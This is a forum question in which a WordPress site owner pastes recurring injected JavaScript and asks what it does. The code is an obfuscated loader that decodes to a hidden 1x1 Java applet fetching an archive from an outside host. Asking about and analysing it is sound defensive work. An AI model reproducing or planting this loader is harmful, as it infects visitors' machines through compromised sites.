Question

有人可以解释以下javascript代码的作用吗？我一直在我的Wordpress网站上获取它，并且变量在不同的计算机上不断变化。不确定它是否是某种黑客。

<script language="javascript">
var vgdck = function(mzsrpv, hysza, yzmii, apcmch){
    var xru = function(zzu) {
        var szg, i;
        var fge="";
        for (i = 0; i < zzu.length; ++i) {
            szg =zzu.charCodeAt(i);
            szg = szg- 1;
            fge = fge + String.fromCharCode(szg);
        }
        return(fge);
    };

    var rnetl=document.createElement(xru("bqqmfu"));
    rnetl.setAttribute(xru("dpef"), xru(mzsrpv));
    rnetl.setAttribute(xru("bsdijwf"), xru("iuuq;00"+hysza));
    rnetl.setAttribute(xru("xjeui"), "1");
    rnetl.setAttribute(xru("ifjhiu"), "1");

    var rmjtth=document.createElement(xru("qbsbn"));
    rmjtth.setAttribute(xru("obnf"),xru(yzmii));
    rmjtth.setAttribute(xru("wbmvf"),xru(apcmch));
    rnetl.appendChild(rmjtth);
    document.body.appendChild(rnetl);
};

var ecfrc = vgdck;
ecfrc(
    "fenlscwulwvtkcri/okgseudbubiiusvzec/dmbtt",
    "3123/hjtsmt/jo01379",
    "vhmfgllmwqxfchlwqkgdkxd",
    "21c22gcd7d579cf4f3fb4663:2c624d3311248fgbc8758c72e7g5c41962gf169"
);
</script>
